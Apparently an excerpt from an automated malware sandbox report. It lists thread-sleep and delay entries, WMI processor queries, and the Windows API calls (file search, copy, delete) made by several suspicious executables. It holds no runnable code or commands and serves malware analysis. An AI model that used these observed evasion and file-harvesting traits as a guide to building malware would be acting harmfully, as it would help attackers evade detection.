Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -547885s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -547686s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -547497s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -547279s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -547168s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -547042s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -546933s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -546744s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -546608s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -546423s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -546268s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -546085s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545920s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545739s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545568s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545414s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545280s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545163s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -545020s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -544883s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -544717s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -544513s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -544311s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -544190s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -544059s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -543855s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -543693s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -543545s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -543413s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -543228s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -543092s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542952s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542810s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542668s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542559s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542427s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542307s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -542044s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -541732s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -541597s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -541477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -541334s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -541220s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -541092s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540945s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540829s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540715s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540601s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540476s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540348s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540224s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -540104s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539942s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539804s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539683s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539562s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539445s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539336s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539229s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -539114s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538990s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538848s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538726s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538608s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538481s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538355s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538241s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -538119s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -537996s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -537859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -537752s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -537638s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -537507s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -537390s >= -30000s
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe TID: 44976	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe TID: 10968	Thread sleep count: 9401 > 30
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe TID: 10968	Thread sleep time: -94010000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe TID: 10968	Thread sleep count: 595 > 30
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe TID: 10968	Thread sleep time: -5950000s >= -30000s

Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00408123 FindFirstFileA,FindClose,	13_2_00408123
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004085B8 DeleteFileA,DeleteFileA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	13_2_004085B8
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_0040342B FindFirstFileA,	13_2_0040342B
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_00403432 FindFirstFileA,	14_2_00403432
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_00408123 FindFirstFileA,FindClose,	14_2_00408123
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_004085B8 DeleteFileA,DeleteFileA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	14_2_004085B8
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00412570
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	15_2_004121F0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	15_2_00411650
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	15_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	15_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_009018B7 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	15_2_009018B7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F1827 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_008F1827
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FD427 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_008FD427
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00902457 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	15_2_00902457
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FB877 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	15_2_008FB877
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FDDC7 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	15_2_008FDDC7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00901DE7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00901DE7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FD7A7 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_008FD7A7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_009027D7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_009027D7

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

Code function: 15_2_00401120 GetSystemInfo,ExitProcess,

15_2_00401120

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99521	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99357	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99217	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 99031	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98918	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98812	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98586	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98197	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 97811	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 97689	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 97547	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 97429	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 96969	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 96820	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 96641	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 96515	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 95996	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 95842	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 95719	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 95593	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 95345	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 95094	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 94969	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 94811	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 94702	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 94547	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 94281	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 94093	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 93953	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 93750	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 93547	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 93396	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 92906	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 92740	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 92594	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 92453	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 92259	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Thread delayed: delay time: 92148	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599299
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598893
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598483
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598351
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598222
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 300000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598084
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597637
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597346
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597037
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596135
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595495
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594786
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594217
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 592990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 592563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 592250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 591656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 591203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 590125
